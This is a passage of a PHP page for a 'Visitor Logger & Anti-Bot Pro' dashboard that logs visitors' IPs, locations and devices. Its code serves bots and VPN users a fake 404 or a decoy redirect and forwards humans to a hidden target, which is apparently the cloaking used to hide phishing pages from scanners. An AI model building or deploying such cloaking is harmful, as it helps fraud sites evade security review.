        body { font-family: var(--font); background-color: var(--bg-base); color: var(--text-main); line-height: 1.5; height: 100vh; display: flex; flex-direction: column; overflow: hidden; }
        .app-header { display: flex; justify-content: space-between; align-items: center; padding: 18px 30px; background: var(--bg-panel); border-bottom: 1px solid var(--border); }
        .app-header h1 { font-size: 19px; font-weight: 600; display: flex; align-items: center; gap: 10px; }
        .app-header h1 span { color: var(--accent); }
        .badge-status { font-size: 11px; padding: 3px 8px; border-radius: 6px; background: rgba(99, 102, 241, 0.15); color: var(--accent); border: 1px solid rgba(99, 102, 241, 0.3); }
        .header-actions { display: flex; gap: 10px; align-items: center; }
        .logout-btn { padding: 8px 16px; background: transparent; border: 1px solid var(--border); color: var(--text-muted); border-radius: 6px; text-decoration: none; font-size: 14px; transition: all 0.2s; }
        .logout-btn:hover { border-color: var(--text-main); color: var(--text-main); }
        .main-container { display: flex; flex: 1; overflow: hidden; padding: 20px; gap: 20px; }
        .panel { background: var(--bg-panel); border-radius: 12px; border: 1px solid var(--border); display: flex; flex-direction: column; overflow: hidden; }
        .panel-header { padding: 15px 20px; border-bottom: 1px solid var(--border); font-weight: 600; font-size: 13px; color: var(--text-muted); text-transform: uppercase; letter-spacing: 0.5px; display: flex; justify-content: space-between; align-items: center; }
        .panel-body { padding: 20px; overflow-y: auto; flex: 1; }
        .col-table { flex: 1; }
        .col-stats { width: 320px; flex-shrink: 0; }
        .stats-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 10px; margin-bottom: 20px; }
        .stat-box { background: var(--bg-input); padding: 14px; border-radius: 8px; border: 1px solid var(--border); text-align: center; }
        .stat-value { font-size: 22px; font-weight: 700; }
        .stat-label { font-size: 11px; color: var(--text-muted); text-transform: uppercase; margin-top: 4px; font-weight: 500; }
        .text-accent { color: var(--accent); }
        .text-success { color: var(--success); }
        .text-error { color: var(--error); }
        .text-vpn { color: var(--vpn); }
        .search-box { margin-bottom: 15px; display: flex; gap: 10px; align-items: center; flex-wrap: wrap; }
        .search-box input, .search-box select {
            background: var(--bg-input);
            border: 1px solid var(--border);
            color: var(--text-main);
            padding: 8px 12px;
            border-radius: 6px;
            font-family: var(--font);
            font-size: 13px;
        }
        .search-box input { flex: 2; min-width: 150px; }
        .search-box select { flex: 1; min-width: 120px; cursor: pointer; }
        .search-box input:focus, .search-box select:focus { outline: none; border-color: var(--accent); }
        .search-box .btn {
            padding: 8px 16px;
            border: 1px solid var(--border);
            background: var(--bg-input);
            color: var(--text-muted);
            border-radius: 6px;
            cursor: pointer;
            font: inherit;
            font-size: 13px;
            transition: 0.2s;
        }
        .search-box .btn:hover { border-color: var(--text-main); color: var(--text-main); }
        .search-box .btn-danger { border-color: var(--error); color: var(--error); }
        .search-box .btn-danger:hover { background: var(--error); color: #fff; }
        table { width: 100%; border-collapse: collapse; font-size: 13px; }
        th { background: var(--bg-input); color: var(--text-muted); text-align: left; padding: 10px 8px; font-weight: 500; border-bottom: 1px solid var(--border); white-space: nowrap; }
        td { padding: 8px; border-bottom: 1px solid var(--border); }
        tr:hover { background: rgba(255, 255, 255, 0.02); }
        .badge { display: inline-flex; align-items: center; gap: 4px; padding: 3px 8px; border-radius: 6px; font-size: 11px; font-weight: 500; white-space: nowrap; }
        .badge-ip { background: var(--bg-input); color: var(--text-muted); border: 1px solid var(--border); }
        .badge-human { background: rgba(16, 185, 129, 0.12); color: #34d399; border: 1px solid rgba(16, 185, 129, 0.3); }
        .badge-bot { background: rgba(239, 68, 68, 0.12); color: #f87171; border: 1px solid rgba(239, 68, 68, 0.3); cursor: help; }
        .badge-vpn { background: rgba(245, 158, 11, 0.15); color: #fbbf24; border: 1px solid rgba(245, 158, 11, 0.35); cursor: help; }
        .pagination { display: flex; gap: 10px; margin-top: 15px; align-items: center; }
        .pagination button {
            background: var(--bg-input);
            border: 1px solid var(--border);
            color: var(--text-muted);
            padding: 6px 14px;
            border-radius: 4px;
            cursor: pointer;
            font: inherit;
            transition: 0.2s;
        }
        .pagination button:hover:not(:disabled) { border-color: var(--text-main); color: var(--text-main); }
        .pagination button:disabled { opacity: 0.3; cursor: default; }
        .pagination .info { color: var(--text-muted); font-size: 13px; }
        .scroll-table { overflow-x: auto; flex: 1; }
        .activity-item { padding: 8px 10px; border-bottom: 1px solid var(--border); display: flex; justify-content: space-between; align-items: center; }
        .activity-item:last-child { border-bottom: none; }

        @media (max-width: 900px) {
            .main-container { flex-direction: column; overflow-y: auto; }
            .col-stats { width: 100%; }
        }
    </style>
</head>
<body>
    <header class="app-header">
        <h1><span>Visitor</span> Logger & Anti-Bot Pro <span class="badge-status">Shield: Active</span></h1>
        <div class="header-actions">
            <a href="?logout=1" class="logout-btn">Log Out</a>
        </div>
    </header>
    <div class="main-container">
        <div class="panel col-table">
            <div class="panel-header">
                <span>Traffic & Security Logs</span>
                <span style="font-size: 11px; text-transform: none; color: var(--text-muted);">Real-time monitoring</span>
            </div>
            <div class="panel-body" style="display:flex; flex-direction:column;">
                <div class="search-box">
                    <input type="text" id="filterInput" placeholder="Search IP, Country, ISP, Type..." onkeyup="loadLogs()">
                    <select id="typeSelect" onchange="loadLogs()">
                        <option value="all" selected>All Traffic</option>
                        <option value="human">👤 Humans Only</option>
                        <option value="bot">🛡️ Bots Only</option>
                        <option value="vpn">🔒 VPN / VPS Only</option>
                    </select>
                    <select id="limitSelect" onchange="loadLogs()">
                        <option value="50">50 rows</option>
                        <option value="100" selected>100 rows</option>
                        <option value="200">200 rows</option>
                        <option value="500">500 rows</option>
                    </select>
                    <button class="btn" onclick="loadLogs()">⟳ Refresh</button>
                    <button class="btn btn-danger" onclick="clearLogs()">🗑 Clear Logs</button>
                </div>
                <div class="scroll-table">
                    <table>
                        <thead>
                            <tr>
                                <th>#</th>
                                <th>Type</th>
                                <th>IP</th>
                                <th>Country</th>
                                <th>City</th>
                                <th>Region</th>
                                <th>ISP</th>
                                <th>Device</th>
                                <th>Browser</th>
                                <th>OS</th>
                                <th>Referer</th>
                                <th>Timestamp</th>
                            </tr>
                        </thead>
                        <tbody id="logBody"><tr><td colspan="12" style="text-align:center;color:var(--text-muted);padding:20px;">loading...</td></tr></tbody>
                    </table>
                </div>
                <div class="pagination">
                    <button id="prevBtn" onclick="changePage(-1)">◀ Prev</button>
                    <span class="info" id="pageInfo">page 1</span>
                    <button id="nextBtn" onclick="changePage(1)">Next ▶</button>
                </div>
            </div>
        </div>
        <div class="panel col-stats">
            <div class="panel-header">Traffic Breakdown</div>
            <div class="panel-body">
                <div class="stats-grid" id="statsGrid">
                    <div class="stat-box"><div class="stat-value text-accent" id="statTotal">0</div><div class="stat-label">Total Visits</div></div>
                    <div class="stat-box"><div class="stat-value" id="statUnique">0</div><div class="stat-label">Unique IPs</div></div>
                    <div class="stat-box"><div class="stat-value text-success" id="statHumans">0</div><div class="stat-label">Humans Passed</div></div>
                    <div class="stat-box"><div class="stat-value text-error" id="statBots">0</div><div class="stat-label">Bots Blocked</div></div>
                    <div class="stat-box"><div class="stat-value text-vpn" id="statVpns">0</div><div class="stat-label">VPNs Blocked</div></div>
                    <div class="stat-box"><div class="stat-value text-accent" id="statToday">0</div><div class="stat-label">Today</div></div>
                </div>
                <hr style="border:0; border-top:1px solid var(--border); margin: 15px 0;">
                <div style="font-size:13px; color:var(--text-muted); font-weight:600; margin-bottom: 8px;">
                    Latest Activity
                </div>
                <div id="latestActivity" style="font-size:12px; max-height:220px; overflow-y:auto;"></div>
            </div>
        </div>
    </div>

    <script>
        let currentPage = 0;
        let pageSize = 100;
        let totalRows = 0;
        let filter = '';

        function loadLogs() {
            filter = document.getElementById('filterInput').value.trim();
            pageSize = parseInt(document.getElementById('limitSelect').value);
            const typeFilter = document.getElementById('typeSelect').value;
            const offset = currentPage * pageSize;
            let url = `?dashboard&api=logs&limit=${pageSize}&offset=${offset}&type=${typeFilter}`;
            if (filter) url += `&filter=${encodeURIComponent(filter)}`;

            fetch(url)
                .then(r => r.json())
                .then(data => {
                    if (data.status === 'error' && data.msg === 'Unauthorized') {
                        window.location.href = '?dashboard';
                        return;
                    }
                    totalRows = data.total;
                    renderTable(data.data);
                    updateStats(data.stats);
                    updatePagination();
                    updateActivity(data.data);
                })
                .catch(err => console.error(err));
        }

        function renderTable(rows) {
            const tbody = document.getElementById('logBody');
            if (!rows || rows.length === 0) {
                tbody.innerHTML = '<tr><td colspan="12" style="text-align:center;color:var(--text-muted);padding:25px;">No logs found.</td></tr>';
                return;
            }
            let html = '';
            rows.forEach(row => {
                let typeBadge = '';
                const tType = (row.traffic_type || (parseInt(row.is_bot) === 1 ? 'Bot' : 'Human')).toUpperCase();

                if (tType === 'VPN') {
                    typeBadge = `<span class="badge badge-vpn" title="VPN/VPS: ${escapeHtml(row.bot_reason || 'Datacenter / Proxy')}">🔒 VPN</span>`;
                } else if (tType === 'BOT' || parseInt(row.is_bot) === 1) {
                    typeBadge = `<span class="badge badge-bot" title="Bot: ${escapeHtml(row.bot_reason || 'Automated Bot')}">🛡️ Bot</span>`;
                } else {
                    typeBadge = `<span class="badge badge-human">👤 Human</span>`;
                }

                html += `<tr>
                    <td>${row.id}</td>
                    <td>${typeBadge}</td>
                    <td><span class="badge badge-ip">${escapeHtml(row.ip)}</span></td>
                    <td>${escapeHtml(row.country || 'Unknown')}</td>
                    <td>${escapeHtml(row.city || 'Unknown')}</td>
                    <td>${escapeHtml(row.region || 'Unknown')}</td>
                    <td>${escapeHtml(row.isp || 'Unknown')}</td>
                    <td>${escapeHtml(row.device_type || 'Unknown')}</td>
                    <td>${escapeHtml(row.browser || 'Unknown')}</td>
                    <td>${escapeHtml(row.os || 'Unknown')}</td>
                    <td style="max-width:120px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;" title="${escapeHtml(row.referer)}">${escapeHtml(row.referer || '-')}</td>
                    <td style="white-space:nowrap;">${escapeHtml(row.timestamp)}</td>
                </tr>`;
            });
            tbody.innerHTML = html;
        }

        function updateStats(stats) {
            if (stats) {
                document.getElementById('statTotal').innerText = stats.total || 0;
                document.getElementById('statUnique').innerText = stats.unique_ips || 0;
                document.getElementById('statHumans').innerText = stats.humans || 0;
                document.getElementById('statBots').innerText = stats.bots || 0;
                document.getElementById('statVpns').innerText = stats.vpns || 0;
                document.getElementById('statToday').innerText = stats.today || 0;
            }
        }

        function updateActivity(rows) {
            const box = document.getElementById('latestActivity');
            if (!rows || rows.length === 0) {
                box.innerHTML = '<span style="color:var(--text-muted)">No activity yet</span>';
                return;
            }
            let html = '';
            rows.slice(0, 6).forEach(r => {
                const tType = (r.traffic_type || (parseInt(r.is_bot) === 1 ? 'Bot' : 'Human')).toUpperCase();
                let icon = '👤';
                let tagColor = 'var(--success)';
                let tagText = 'Passed';

                if (tType === 'VPN') {
                    icon = '🔒';
                    tagColor = 'var(--vpn)';
                    tagText = 'VPN Blocked';
                } else if (tType === 'BOT' || parseInt(r.is_bot) === 1) {
                    icon = '🛡️';
                    tagColor = 'var(--error)';
                    tagText = 'Bot Blocked';
                }

                html += `<div class="activity-item">
                    <div>
                        <strong>${icon} ${escapeHtml(r.ip)}</strong> 
                        <div style="color:var(--text-muted);font-size:11px;">${escapeHtml(r.country || 'Unknown')} • ${escapeHtml(r.browser || 'Unknown')}</div>
                    </div>
                    <span style="font-size:11px;color:${tagColor}">${tagText}</span>
                </div>`;
            });
            box.innerHTML = html;
        }

        function updatePagination() {
            const totalPages = Math.ceil(totalRows / pageSize) || 1;
            document.getElementById('pageInfo').textContent = `page ${currentPage+1} of ${totalPages} (${totalRows} total)`;
            document.getElementById('prevBtn').disabled = (currentPage === 0);
            document.getElementById('nextBtn').disabled = (currentPage >= totalPages - 1);
        }

        function changePage(delta) {
            const totalPages = Math.ceil(totalRows / pageSize) || 1;
            const newPage = currentPage + delta;
            if (newPage < 0 || newPage >= totalPages) return;
            currentPage = newPage;
            loadLogs();
        }

        function clearLogs() {
            if (!confirm('⚠️ Delete ALL visitor logs? This cannot be undone.')) return;
            fetch('?dashboard&api=clear')
                .then(r => r.json())
                .then(data => {
                    if (data.status === 'success') {
                        alert('All logs cleared.');
                        loadLogs();
                    } else {
                        alert('Error: ' + data.msg);
                    }
                })
                .catch(err => alert('Request failed: ' + err));
        }

        function escapeHtml(str) {
            if (!str) return '';
            return String(str).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
        }

        // Initial load
        loadLogs();

        // Auto-refresh every 30s
        setInterval(loadLogs, 30000);
    </script>
</body>
</html>
    <?php
    exit;
}

// ==========================================
// ANTI-BOT & ANTI-VPN ENFORCEMENT
// ==========================================
if (ANTIBOT_ENABLED && (!empty($log_status['is_blocked']) || ($log_status['traffic_type'] ?? '') === 'VPN' || ($log_status['traffic_type'] ?? '') === 'Bot')) {
    if (ANTIBOT_ACTION === 'redirect') {
        header('Location: ' . ANTIBOT_FAKE_TARGET);
        exit;
    } elseif (ANTIBOT_ACTION === 'fake_404') {
        header('HTTP/1.1 404 Not Found');
        echo "<!DOCTYPE html><html><head><title>404 Not Found</title></head><body><h1>404 Not Found</h1><p>The requested resource was not found on this server.</p></body></html>";
        exit;
    } else { // 'block' -> HTTP 403 Forbidden
        header('HTTP/1.1 403 Forbidden');
        header('Status: 403 Forbidden');
        $is_vpn = ($log_status['traffic_type'] ?? '') === 'VPN';
        ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>403 Forbidden</title>
    <style>
        body { margin: 0; background: #0f1115; color: #f8fafc; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif; display: flex; align-items: center; justify-content: center; height: 100vh; }
        .card { background: #161920; border: 1px solid #2c323f; border-radius: 12px; padding: 40px; text-align: center; max-width: 440px; box-shadow: 0 10px 30px rgba(0,0,0,0.5); }
        .icon { font-size: 44px; margin-bottom: 12px; }
        h1 { font-size: 24px; font-weight: 600; margin: 0 0 10px; color: #ef4444; }
        p { font-size: 14px; color: #94a3b8; margin: 0 0 20px; line-height: 1.5; }
        .ref { font-family: monospace; font-size: 12px; color: #64748b; background: #1e222b; padding: 8px 12px; border-radius: 6px; }
    </style>
</head>
<body>
    <div class="card">
        <div class="icon"><?= $is_vpn ? '🔒' : '🛡️' ?></div>
        <h1>Access Denied</h1>
        <p><?= $is_vpn ? 'VPN, VPS, proxy, or datacenter connections are restricted.' : 'Your request was flagged by our automated verification system.' ?></p>
        <div class="ref">Error 403 | <?= htmlspecialchars($log_status['bot_reason'] ?? 'Forbidden') ?></div>
    </div>
</body>
</html>
        <?php
        exit;
    }
}

// ==========================================
// DEFAULT: Redirect Verified Humans
// ==========================================
header('Location: ' . REDIRECT_TARGET);
exit;
?>
← Back📥 Raw✏️ Edit🔒 Chmod
✨ File Manager Magic ✨